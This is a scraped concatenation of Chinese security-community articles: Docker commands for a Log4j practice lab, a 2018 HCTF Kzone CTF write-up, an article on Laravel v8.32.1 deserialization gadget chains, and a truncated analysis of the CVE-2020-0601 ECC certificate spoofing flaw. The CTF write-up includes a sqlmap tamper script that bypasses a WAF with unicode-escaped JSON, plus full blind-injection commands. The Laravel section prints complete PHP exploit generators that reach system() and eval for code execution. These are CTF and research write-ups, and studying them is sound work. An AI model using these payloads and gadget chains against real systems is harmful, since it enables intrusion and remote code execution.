为了互联网的安全，也为了给大家学习的环境，有很多同学不知道如何复现，我搭建了一个漏洞靶场，我编写的docker-compose.yml
地址是：<https://github.com/fengxuangit/log4j_vuln>
或者直接运行命令
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
然后访问你的8080的端口, 访问 <http://127.0.0.1:8080/webstudy/> 就可以了
按照视频教程玩就行。你的靶场你自己随便玩！ | 社区文章 |
# 用sqlmap解题2018HCTF-Kzone
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
刚好周末，参加了一下HCTF，于是写篇文章记录一下 ~~也补一补双十一剁手的元气~~ 。
## 信息搜集
打开题目
http://kzone.2018.hctf.io
发现跳转到QQ空间，想到可能是钓鱼网站，于是curl一下
发现如下代码
<!--<form id="form" action="index.php" method="post" onsubmit="return onpost()"> -->
<form action="2018.php" method="post" onSubmit="return ts()">
<div id="q_logon_list" class="q_logon_list"></div>
</div>
<div id="web_login">
<ul id="g_list">
<liid
="g_u">
<div id="del_touch" class="del_touch"><span id="del_u" class="del_u"></span></div>
<input id="u" class="inputstyle" name="user" autocomplete="off" placeholder="KK_Account/Phone/Email"></li>
<li id="g_p">
<div id="del_touch_p" class="del_touch"><span id="del_p" class="del_u"></span></div>
<input id="p" class="inputstyle" maxlength="16" type="password" name="pass" autocorrect="off"
placeholder="Input your KK_Account please"></li>
</ul>
<button id="go" name="submit">Login</button>
<div href="javascript:void(0);" id="onekey">Login quickly</div>
</div>
<div id="switch">
<div id="swicth_login" onClick="pt._switch()" style="display:none"></div>
<div id="zc_feedback"><span id="zc"
onclick="window.open('https://ssl.zc.qq.com/v3/index-chs.html?from=pt')">Register</span>
<span id="forgetpwd">Retrieve password</span></div>
</div>
</form>
于是可以判断为钓鱼网站，首先做个目录探测，容易发现www.zip源码泄露
http://kzone.2018.hctf.io/www.zip
## 代码审计
首先是结构：
admin文件夹：管理整个钓鱼网站，导出、查看、删除钓鱼信息
include文件：包含一些功能性文件
2018.php：钓鱼插入文件
然后进行大致分析，首先查看2018.php
<?php
require_once './include/common.php';
$realip = real_ip();
$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");
if ($ipcount < 3) {
$username = addslashes($_POST['user']);
$password = addslashes($_POST['pass']);
$address = getCity($realip);
$time = date("Y-m-d H:i:s");
$ua = $_SERVER['HTTP_USER_AGENT'];
$device = get_device($ua);
$sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";
$DB->query($sql);
header("Location: https://i.qq.com/?rd=" . $username);
} else {
header("Location: https://i.qq.com/?rd=" . $username);
}
?>
发现大概是将钓鱼用户的信息插入数据库，代码使用了许多sql语句，所以查看过滤，发现/include/safe.php有全局过滤
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|#|s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
.....
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
?>
过滤了get,post,cookie
但是http header应该没经过过滤，于是想到可否控制ip，然后达成insert注入
跟一下real_ip()
function real_ip()
{
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = $list[0];
}
if (!ip2long($ip)) {
$ip = '';
}
return $ip;
}
发现虽然可以用xff，但是有ip2long的验证，这条路不通。
那么看到admin的login.php
if (isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['login'])) {
$user = addslashes($_POST['user']);
$pass = addslashes($_POST['pass']);
上来就发现过滤，应该也无法突破。
那么只能看include文件夹里有什么突破点了，看到member.php
发现突破口：
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
在做admin校验的时候用了弱比较
if ($admin_pass == $login_data['admin_pass'])
{
$islogin = 1;
}
那么我们可以尝试fuzz admin_pass，从数字0开始跑，跑到65发现成功登陆admin
## 注入
该方法来自于大哥Ricterz，鬼才真的是鬼才，方法如下：
我们发现在用cookie做身份校验的时候查询了数据库
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
发现其中用了json_decode，那么我们可以尝试使用编码进行bypass，即可无视一切过滤进行注入
payload = payload.replace('u', 'u0075')
payload = payload.replace('o', 'u006f')
payload = payload.replace('i', 'u0069')
payload = payload.replace(''', 'u0027')
payload = payload.replace('"', 'u0022')
payload = payload.replace(' ', 'u0020')
payload = payload.replace('s', 'u0073')
payload = payload.replace('#', 'u0023')
payload = payload.replace('>', 'u003e')
payload = payload.replace('<', 'u003c')
payload = payload.replace('-', 'u002d')
payload = payload.replace('=', 'u003d')
于是尝试数据库注入，打开神器sqlmap，编写一下tamper：
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
data = '''{"admin_user":"admin%s","admin_pass":65};'''
payload = payload.lower()
payload = payload.replace('u', 'u0075')
payload = payload.replace('o', 'u006f')
payload = payload.replace('i', 'u0069')
payload = payload.replace(''', 'u0027')
payload = payload.replace('"', 'u0022')
payload = payload.replace(' ', 'u0020')
payload = payload.replace('s', 'u0073')
payload = payload.replace('#', 'u0023')
payload = payload.replace('>', 'u003e')
payload = payload.replace('<', 'u003c')
payload = payload.replace('-', 'u002d')
payload = payload.replace('=', 'u003d')
return data % payload
然后我们知道，目标肯定是Mysql，且这里用bool注入即可，那么我们指定bool盲注
--technique=B
指定数据库
--dbms=mysql
于是我们可以尝试探测一下数据库
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --technique=B --dbs
但是蛋疼的事来了，sqlmap告诉我们没有漏洞，原因肯定是sqlmap对回显识别有问题，所以我们尝试指定错误时候的回显
即
--not-string=window.location
然后加点线程
--thread=10
最后有
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs
即可愉快的得到结果
然后指定库名跑表名
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone --tables
指定表名跑列名
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g --columns
最后在跑flag的时候又遇到跑不出来的问题
sqlmap -r 1.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location -D hctf_kouzone -T F1444g -C F1a9 --dump
看一下tamper
payload = payload.lower()
因为我们把payload转小写了，于是我们把它转回去
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
即可愉快的得到flag
即可拿到flag
## 后记
以往做题都是遇到注入，自己写脚本，经过这道题目，可以充分发现sqlmap的好处非常多，也很便捷。
再附上一篇参考链接
http://www.melodia.pw/?p=918
最后，再膜一遍Ricterz！ | 社区文章 |
# 一道CTF题引起的对laravel v8.32.1序列化利用链挖掘
* * *
## 0x00 前言
前几天刚搞完 **V &NCTF** ，里边有一道 **easy_laravel** 题目引起了我的注意（
~~指挖了一下午的序列化链，结果路由不正确无法利用CVE反序列化，呜呜呜，气死我耶~~ ），于是就将整个有趣（ ~~心酸~~ ）的过程写出来分享一下吧。
## 0x01 利用条件
* 需要配合一个完全可控的反序列化点（ ~~比如结合CVE，不过这里的版本是目前最新版 v8.32.1~~ ）
## 0x02 环境配置
先配好 **8.32.1** 版本的 **laravel** ，确保当前版本正确。
然后在 `public/index.php` 手动新建一个可控的序列化点：
## 0x03 链条分析
由于这里是另挖掘，所以我们就尽可能的避免 **easy_laravel** 题目WP所给的链条吧。
### \- call_user_func([可控],[可控])
先从最简单的单参数任意函数执行开始吧。
#### \- 分析
首先，来到入口点，不妨找一个需要有 `__destruct` 方法的类，且该方法拥有形如 `$this->[可控]->xxx()`
的语句，这样就能够方便的触发 `__call` 方法了。比如说 `ImportConfigurator` 类就是一个不错的开始。
下一步即是找一个较为符合的拥有 `__call` 方法的类了，比如这里可以选择 `ValidGenerator` 类，因为这个类的 `__call`
存在两个较为明显的 `call_user_func/call_user_func_array` 函数。
现在需要做的即是想尽办法让这两个函数其中一个的参数 **可控** 就行了。可以先分析第一个 `call_user_func_array` 函数，其中
**$name** 是不可控的，且值为 `addCollection` ，虽说 **$this- >generator** 和 **$arguments**
是可控的，但要直接通过这两个可控的参数进行 **rce** 基本是不可能的。
那么再看一下 `DefaultGenerator` 类的 `__call` 方法。显然当这个方法被调用时，无论传入是啥 **方法** 或是 **参数**
都可以得到一个 **[可控]** 的任意值。
这时不妨回过头来看 `ValidGenerator` 类的 `__call` 方法中第二个 `call_user_func` 函数。在这个函数中
**$this- >validator** 是可控的了，然后 **$res** 实际上是来自第一个 `call_user_func_array`
的返回值。那么假设现在咱们用第一个 **call_user_func_array** 方法去调用 `DefaultGenerator` 类的
`__call` 方法，既可以返回一个 **[可控]** 的值，也就是说 **$res** 现在也是可控的了。
综上，咱们现在实际上就可以得到形如 **call_user_func([可控],[可控])** 的形式了。
此时需要构造的内容大致如下：
* `ImportConfigurator->parent` = `ValidGenerator类`
* `ValidGenerator->maxRetries` = `1`
* `ValidGenerator->generator` = `DefaultGenerator类`
* `DefaultGenerator->default` = `[任意可控函数参数]`
* `ValidGenerator->validator` = `[任意可控函数名称]`
#### \- 图示
然后是简单的调用图示：
#### \- exp
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
function __construct($c1){
$this->parent = $c1;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
function __construct($param){
$this->default = $param;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($func,$param){
$this->generator = new DefaultGenerator($param);
$this->maxRetries = 1;
$this->validator = $func;
}
}
}
namespace{
echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator('system','dir'))));
}
执行效果：
### \- call_user_func([可控],[可控],[可控])
当然，单参数的任意函数执行显然是还不满足的。在 **php7** 中如若可以达成 **2** 个参数的任意函数执行，就可以通过调用
`create_function` 来进行形如 **eval** 的 **rce** 了。这里就朝着 **2** 个参数的任意函数执行进发。
#### \- 分析
首先还是利用上边的 **call_user_func([可控],[可控])** 这条链作为基础，咱们继续往下看。那么，先来到 `TestLogger`
类，在这个类的 `hashRecordThatPasses` 方法中，存在一个可以传 **2** 个参数的 `call_user_func`
方法，不过这个方法需要传 **2** 个参数。
不过问题不大，可以再看一下还是这个类的 `__call` 方法。由于这里的 **$agrs** 变量存在形如 `array_push`
的操作，不妨利用这个方法作为跳板满足 **2** 个参数的要求调用回 `hashRecordThatPasses` 方法。
那么也就是说 **$genericMehotd** 必须被构造成 **hashRecordThatPasses** ，其次传入的 **$agrs**
参数必须是 **callable** 。这里的 **callable** 可以指的是一个 **函数** 也可以是一个 **可调用的函数名称字符串**
，但在序列化时是不能够保存 **函数** 的，所以 **$agrs** 的内容只能是一个 **可调用的函数名称字符串** 。
看一下关键的代码吧，
if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) {
$genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3];
$level = strtolower($matches[2]);
if (method_exists($this, $genericMethod)) {
$args[] = $level;
return call_user_func_array([$this, $genericMethod], $args);
}
}
简单来说，要想让 **$genericMethod** 变量的值为 **hashRecordThatPasses** ，得让 **$method** 的值为
**hashInfoThatPasses** 即可。
首先，根据 `preg_match` 函数的正则，必须满足 `[任意字符](Debug|Info|......)[任意字符]`
才能够满足这个条件。此时若传入 **hashInfoThatPasses** 时， **$mathes** 变量的值为：
* [0] => hasInfoThatPasses
* [1] => has
* [2] => Info
* [3] => ThatPasses
在 `$genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '')
. $matches[3];` 这一条语句，由于在 **$matches[1]** 中的 **has** 字符串中找不到 **Record**
，也就会加上，成为 **hasRecord** ，然后再和 **$matches[3]** 中的 **ThatPasses** 字符串做拼接，最后就构成了
**hashRecordThatPasses** 。
此时后边的 `call_user_func_array([$this,$genericMehotd],$args)` 就相当于
`$this->hashRecordThatPasses([可控内容],'info')` 。
让我们把关注点拉回 `hashRecordThatPasses` 方法中。
这里会对 **$this- >recordsByLevel[$level]** 进行遍历，其中 **键名** 会作为第 **3** 个参数，而 **键值**
作为第 **2** 个参数，而 **$level** 实际上也就是传入的 **info** 字符串。同时 **predicate**
这个也就是上边可控的内容，不过必须得是一个 **callable** 型，这里直接传 **可调用的函数名称字符串** 即可。
还有一点是，由于第 **3** 个参数来自 **键名** ，所以不能是一个 **数组** 也就不能够构造形如 `call_user_func` \+
`call_user_func_array` 的套娃了。
所以现在大致可以得到了一个形如 **call_user_func([可控],[可控],[可控])** 的形式了。
此时需要构造的内容大致如下：
* `ImportConfigurator->parent` = `ValidGenerator类`
* `ValidGenerator->maxRetries` = `1`
* `ValidGenerator->generator` = `DefaultGenerator类`
* `DefaultGenerator->default` = `[TestLogger类,'hashInfoThatPasses']`
* `ValidGenerator->validator` = `[任意可控函数名称]`
* `TestLogger->recordsByLevel['info']` = `['[可控参数]'=>'[任意可控参数]']`
#### \- 图示
#### \- exp
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
function __construct($c1){
$this->parent = $c1;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default='call_user_func';
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($c2){
$this->generator = new DefaultGenerator();
$this->maxRetries = 1;
$this->validator = [$c2,'hasInfoThatPasses'];
}
}
}
namespace Psr\log{
abstract class AbstractLogger{}
}
namespace Psr\Log\Test{
use Psr\Log\AbstractLogger;
class TestLogger extends AbstractLogger{
public $recordsByLevel = ['info'=>['dir'=>'system']];
}
}
namespace{
echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Psr\Log\Test\TestLogger))));
}
执行效果：
这里原本思路是通过调用 `create_function` 函数进行 **rce** 的，然而会出现 **弃用** 的报错。
### \- call_user_func_array([完全可控])
既然使用 `create_function` 会报错，那不如使用别的和 **eval** 有类似效果的函数，比如 `mbereg_replace`
试试。那就需要一个 **完全可控** 的 `call_user_func_array` 才行了。
#### \- 分析
那么还是利用上边的 **call_user_func([可控],[可控])** 链作为基础，继续看吧。这里来到 `ReturnCallback` 类的
`invoke` 方法，这里存在一个 `call_user_func_array` 函数，其中 **$this- >callback** 是 **可控**
的了。
再看 `$invocation->getParameters()` 这个方法返回的内容，显然 **$this- >parameters**
是咱们可控的了，也就是说返回值是可控的。
这条链确实是非常简单的，可以简单列一下需要构造的大致内容：
* `ImportConfigurator->parent` = `ValidGenerator类`
* `ValidGenerator->maxRetries` = `1`
* `ValidGenerator->generator` = `DefaultGenerator类`
* `DefaultGenerator->default` = `[ReturnCallback类,'invoke']`
* `ReturnCallback->callback` = `[任意可控的函数名称]`
* `ValidGenerator->validator` = `Invocation类`
* `Invocation->parameters` = `[任意可控的函数参数]`
现在咱们就可以得到 **call_user_func_array([完全可控])** 的形式了。
#### \- 图示
#### \- exp
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
function __construct($c1){
$this->parent = $c1;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
function __construct($c3){
$this->default = $c3;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($c2,$c3){
$this->generator = new DefaultGenerator($c3);
$this->maxRetries = 1;
$this->validator = [$c2,'invoke'];
}
}
}
namespace PHPUnit\Framework\MockObject{
final class Invocation{
private $parameters = ['dir'];
}
}
namespace PHPUnit\Framework\MockObject\Stub{
use PHPUnit\Framework\MockObject\Invocation;
final class ReturnCallback{
private $callback = 'system';
}
}
namespace{
echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new PHPUnit\Framework\MockObject\Stub\ReturnCallback,new PHPUnit\Framework\MockObject\Invocation))));
}
执行效果：
只是如果调用 `mbereg_replace`，会显示已弃用的错误。
### \- eval([完全可控])
看起来是没辙了，只能找一个 **eval** 的玩意了。
#### \- 分析
OK，这里还是利用上边的 **call_user_func([可控],[可控])** 的链条作为基础。这里选择 `EvalLoader` 类的 `load`
方法，主要是这个方法里边有 **eval** 的调用。那么现在我们来看一下如何达成 **eval([完全可控])** 吧。
这里主要还是 **2** 点，首先让第 **1** 个条件不满足，即是 `$definition->getClassName()`
返回的值是一个不存在的类即可。其中 **$definition** 得是 `MockDefinition` 类，然后咱们可以简单跟进
`$definition` 类的 `getClassName` 这个方法看看。
这里在 `getClassName` 方法中会执行 `return $this->config->getName()` 语句，其中 **$this->config** 的值显然为 `MockConfiguration` 类，即是调用了 `MockConfiguration` 类的 `getName`
方法。
那么再跟进 `MockConfiguration` 类的 `getName` 方法，这里简单的返回了 **$this- >name** ，而这个
**$this- >name** 实际上是可控的。
也就是说上边的 `$definition->getClassName()` 得到的值是 **可控** 的了，咱们不妨将其构造成任意一个不存的类名即可（比如
~~Morouu~~ ）。
之后再看第 **2** 点，也就是 `eval("?>".$definition->getCode())` 这段语句，话不多说，先跟进
`MockDefinition` 类的 `getCode` 方法吧。
这里只是简单的返回了 **$this- >code** 的值，而 **$this- >code** 确实是 **可控** 的。也就是说现在这条链成功到达了对
**eval** 的调用。那么简单的构造一下构造的大致内容吧：
* `ImportConfigurator->parent` = `ValidGenerator类`
* `ValidGenerator->maxRetries` = `1`
* `ValidGenerator->generator` = `DefaultGenerator类`
* `DefaultGenerator->default` = `[EvalLoader类,'load']`
* `MockDefinition->config` = `MockConfiguration类`
* `MockConfiguration->name` = `'[任意不存在的类名称]'`
* `MockDefinition->code` = `<?php [任意代码] ?>`
此时就可以得到 **eval([完全可控])** 的形式了。
#### \- 图示
#### \- exp
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
function __construct($c1){
$this->parent = $c1;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
function __construct($c3){
$this->default = $c3;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($c2,$c3){
$this->generator = new DefaultGenerator($c3);
$this->maxRetries = 1;
$this->validator = [$c2,'load'];
}
}
}
namespace Mockery\Generator{
class MockConfiguration{
protected $name = 'Morouu';
}
class MockDefinition{
protected $config;
protected $code;
function __construct($code){
$this->config = new MockConfiguration;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
use Mockery\Generator\MockDefinition;
class EvalLoader{}
}
namespace{
echo base64_encode(serialize(new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\ValidGenerator(new Mockery\Loader\EvalLoader,new Mockery\Generator\MockDefinition('?><?php phpinfo();exit; ?>')))));
}
执行效果：
* * * | 社区文章 |
# CVE-2020-0601 ECC证书欺骗漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Strawberry @ QAX A-TEAM
2020年1月15日，微软公布了1月份的补丁更新列表，其中包括一个椭圆曲线密码(ECC)证书检测绕过相关的漏洞(CVE-2020-0601)，该漏洞由NSA发现并汇报给微软。攻击者可利用这个漏洞伪造合法证书，进一步可实现对恶意软件及恶意网站证书的签名。奇安信CERT第一时间发布了该漏洞的修补通告，并于次日对该漏洞进行原理分析及复现。本文主要参考Trend
Micro于上月发布的文章《An In-Depth Technical Analysis of CurveBall
(CVE-2020-0601)》对此漏洞进行进一步分析，如有不足之处，欢迎批评指正。
声明：本篇文章由 Strawberry@ QAX A-TEAM原创，仅用于技术研究，不恰当使用会造成危害，严禁违法使用 ，否则后果自负。
2020年1月15日，微软公布了1月份的补丁更新列表，其中包括一个椭圆曲线密码(ECC)证书检测绕过相关的漏洞(CVE-2020-0601)，该漏洞由NSA发现并汇报给微软。攻击者可利用这个漏洞伪造合法证书，进一步可实现对恶意软件及恶意网站证书的签名。奇安信CERT第一时间发布了该漏洞的修补通告，并于次日对该漏洞进行原理分析及复现。本文主要参考Trend
Micro于上月发布的文章《An In-Depth Technical Analysis of CurveBall
(CVE-2020-0601)》对此漏洞进行进一步分析。
## 前置基础
### 一、证书结构
数字证书是用来认证公钥持有者身份合法性的电子文档，由 CA（Certifacate
Authority）来负责签发。数字证书结构的ASN.1语法描述如下，应包括证书内容、签名算法标识符以及对证书内容的签名，其中，签名算法为CA对tbsCertificate进行签名时所使用的算法：
Certificate: :=SEQUENCE {
tbsCertificate TBSCertificate,
signatureAlgorithm AlgorithmIdentifier,
signatureValue BIT STRING
}
证书内容 (tbsCertificate) 是需要被CA签名的信息，其ASN.1语法描述如下：
TBSCertificate: :=SEQUENCE {
version[0] EXPLICIT Version DEFAULT v1,
serialNumber CertificateSerialNumber,
signature AlgorithmIdentifier,
issuer Name,
validity Validity,
subject Name,
subjectPublicKeyInfo SubjectPublicKeyInfo,
issuerUniqueID[1] IMPLICIT UniqueIdentifier OPTIONAL,
subjectUniqueID[2] IMPLICIT UniqueIdentifier OPTIONAL,
extensions[3] EXPLICIT Extensions OPTIONAL
}
证书的签发者 (issuer) 和证书主体 (subject)
分别标识了签发证书的CA实体和证书持有者实体。证书主体公钥信息(subjectPublicKeyInfo)给出了证书所绑定的加密算法和公钥。其ASN.1描述如下：
SubjectPublicKeyInfo::=SEQUENCE{
algorithm AlgorithmIdentifier,
subjectPublicKey BIT STRING
}
其中，algorithm中包含加密算法的OID以及可选的算法参数，OID为对象标识符，可以唯一地确定网络中的对象（不仅仅是加密算法）。比如1.2.840.10045.2.1对应了
id-ecPublicKey，表示椭圆曲线密码算法。
AlgorithmIdentifier: :=SEQUENCE {
algorithm OBJECT IDENTIFIER,
parameters ANY DEFINED BY algorithm OPTIONAL
}
在parameters中，可以通过指定“命名曲线”的方式来指定椭圆曲线参数（隐式指定）。
EcpkParameters: :=CHOICE {
ecParameters ECParameters,
namedCurve OBJECT IDENTIFIER,
implicitlyCA NULL
}
使用openssl工具可解析证书结构，这里使用Windows系统中的ECC证书Microsoft ECC Product Root Certificate
Authority 2018。可以看出其 Subject 和 Issuer 字段内容是一致的，因为它是自签名的根证书。其公钥信息为04 c7 11 16
2a … f4 01 07 ac，指定的椭圆曲线为secp384r1：
➜ ~ openssl x509 -in cert.cer -text -noout
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
14:98:26:66:dc:7c:cd:8f:40:53:67:7b:b9:99:ec:85
Signature Algorithm: ecdsa-with-SHA384
Issuer: C = US, ST = Washington, L = Redmond, O = Microsoft Corporation, CN = Microsoft ECC Product Root Certificate Authority 2018
Validity
Not Before: Feb 27 20:42:08 2018 GMT
Not After : Feb 27 20:50:46 2043 GMT
Subject: C = US, ST = Washington, L = Redmond, O = Microsoft Corporation, CN = Microsoft ECC Product Root Certificate Authority 2018
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (384 bit)
pub:
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
7a:7d:a6:f4:01:07:ac
ASN1 OID: secp384r1
NIST CURVE: P-384
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Certificate Sign, CRL Sign
X509v3 Basic Constraints: critical
CA:TRUE
X509v3 Subject Key Identifier:
43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08
1.3.6.1.4.1.311.21.1:
...
X509v3 Certificate Policies:
Policy: X509v3 Any Policy
Policy: 1.3.6.1.4.1.311.76.509.1.1
CPS: http://www.microsoft.com/pkiops/Docs/Repository.htm
Signature Algorithm: ecdsa-with-SHA384
30:66:02:31:00:a1:c0:49:44:5d:32:55:27:cc:3e:90:6e:25:
22:9d:24:5b:9b:51:35:c7:91:49:49:2a:a3:f9:6f:4f:1c:cd:
dd:9c:e1:b5:57:c9:9e:c2:22:45:9b:06:15:70:1c:45:bf:02:
31:00:c5:d3:28:eb:72:c7:3e:b0:ac:27:09:7f:62:3d:60:79:
e5:92:f1:45:2a:b9:a5:02:e4:60:bb:fe:7a:2b:9c:60:a7:b5:
99:14:f2:b0:be:f0:bb:05:96:56:56:8f:c1:68
### 二、ECC椭圆曲线密码算法
ECC椭圆曲线密码(Elliptic curve
cryptography)是由Miller和Koblitz提出的一种基于有限域上椭圆曲线的公钥密码学。ECC所基于的数学问题为椭圆曲线离散对数问题。椭圆曲线可形象地被描述为bizzaro台球游戏(<https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/)>，椭圆曲线方程可看作台球边界。
E: y² = x³+ ax + b (mod p)
现有两个点A和B，如果要计算A+B，则将球放在A点，然后朝B点射击。当它撞击曲线，球将以平行于y轴的方向反弹至曲线的另一侧，得到结果C。通过相同的原理可计算出D(A+C)、E(A+D)。
如果要计算2A(也就是A+A)，就需要选择非常靠近A的点A’并朝其射击。随着A’越来越靠近A，它们之间的连接线也越来越靠近A的切线。也就是说，则将球放在A点，沿着椭圆曲线过A点的切线射击，球在撞击曲线后反弹至曲线的另一侧，得到结果2A。以和上图同样的思路可以计算
A+2A = 3A、A+3A = 4A 等。
当球放在已知的点
G（称为生成器或基点）上时，玩家可选择一个次数d-1，然后按照以上规则从切线方向开始连续从点G射击d-1次（即计算d*G），最终球在停在Q点，其它人很难猜测到这个次数d-1，除非他一直在场。而且如果这个次数很大，那需要的观看时间相应就会很长。在椭圆曲线密码算法中，Q
=
d×G，d称为私钥，而Q称为公钥。通过d和G计算Q很容易，但是给定Q和G很难确定d（如果d已知，可以采用快速算法得到Q，而如果给定公钥Q和基点G去求d的话，只能从头开始挨个验证，当数据量很大时，是很难推测出私钥d的）。但这只在基点G确定的情况下才成立，因为如果起点G允许任意选取，猜测者可以选取任意的G’和d’，使得d’
×G’ = Q。最简单的思路是，猜测者声称球根本没有移动，即最终球位置Q就是初始位置G’，令G’= Q、d’= 1，可使得 d’×G’= 1×Q =
Q。有了这个新的基点，攻击者就拥有了和公钥Q相对应的新的私钥d’，如果系统不验证参数G，攻击者就可以使用这个假的私钥d’来伪造他人的签名。
ECC不仅支持隐式指定椭圆曲线参数，还允许自定义ecParameters，可以显式指定曲线的所有参数，这为伪造证书提供了基础。下面为ECParameters的ASN.1结构：
ECParameters: :=SEQUENCE {--Elliptic curve parameters
version ECPVer,
fieldID FieldID,
curve Curve,
base ECPoint,
--Base point G
order INTEGER,
--Order n of the base point
cofactor INTEGER OPTIONAL
}--The integer h = #E(Fq) / n
由于之前解析的根证书的ECC参数为secp384r1，我们来看一下该曲线的标准参数，然后对伪造的证书进行解析。比较两者的算法参数，发现除了基点G都可以匹配的上，而伪造证书中的参数G和其公钥值是一样的。所以可以通过检测ECC证书中的Generator
(uncompressed)字段和其公钥值是否相同，来判定该证书是否是非法的：
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
24:ef:d1:58:53:74:56:5e:41:4d:c0:88:3b:eb:89:61:a1:90:69:fe
Signature Algorithm: ecdsa-with-SHA256
Issuer: C = US, ST = Washington, L = Redmond, O = Microsoft Corporation, CN = Microsoft ECC Product Root Certificate Authority 2018
Validity
Not Before: Mar 3 12:18:09 2020 GMT
Not After : Apr 2 12:18:09 2020 GMT
Subject: C = US, ST = Washington, L = Redmond, O = Microsoft Corporation, CN = Microsoft ECC Product Root Certificate Authority 2018
Subject Public Key Info:
Public Key Algorithm: id-ecPublicKey
Public-Key: (384 bit)
pub:
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
7a:7d:a6:f4:01:07:ac
Field Type: prime-field
